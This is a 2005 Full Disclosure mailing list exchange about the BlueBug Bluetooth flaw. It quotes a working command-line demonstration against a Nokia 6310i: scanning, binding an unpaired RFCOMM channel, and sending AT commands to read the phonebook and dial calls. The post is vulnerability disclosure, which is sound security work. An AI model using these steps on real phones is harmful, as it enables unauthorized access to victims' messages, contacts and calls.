Full Disclosure mailing list archives

Re: Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore


From: Dave Bryan <synackurg () gmail com>
Date: Wed, 5 Jan 2005 17:16:23 -0600

The reason that it is called BlueBug is because you are literally
bugging (Voice Calls)  an unsuspecting victims pocket.  Yes this is a
back door of sorts...


On Tue, 04 Jan 2005 14:46:19 +0100, Przemyslaw Frasunek
<venglin () freebsd lublin pl> wrote:
Adam Laurie napisaƂ(a):
 > Details of the attacks were disclosed at the Chaos Computer Club's annual
 > congress in Berlin - 21C3:

According to the [1], not all details were disclosed. Actually, there is no
reason for keeping them secret here, while they are well known and actively
exploited in the blackhat community.

The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
Nokia phones. It allows attacker to create serial profile connection without
pairing or asking for permission, therefore it gives unauthorized access to all
AT commands. It is possible to read/delete/send SMS messages, add/view/delete
phonebook entries, change call diverts, initiate voice or data call.

Demonstration on Nokia 6310i:

laptop:~# hcitool scan
Scanning ...
         00:60:57:38:8C:D8       Nokia 6310i
laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17

Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
example:

laptop:~# cu -l rfcomm0 -s 9600
Connected.
[ATE1]
OK
ATI
Nokia

OK
AT+CPBS?
+CPBS: "SM",0,100

OK
AT+CPBR=?
+CPBR: (1-100),48,18

OK
ATDT+48609xxxxxx
OK

As you can see, the bug is really trivial and looks rather like backdoor.

[1] - http://www.thebunker.net/security/bluetooth.htm
[2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
[3] - http://www.gnokii.org/

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Charter: http://lists.netsys.com/full-disclosure-charter.html


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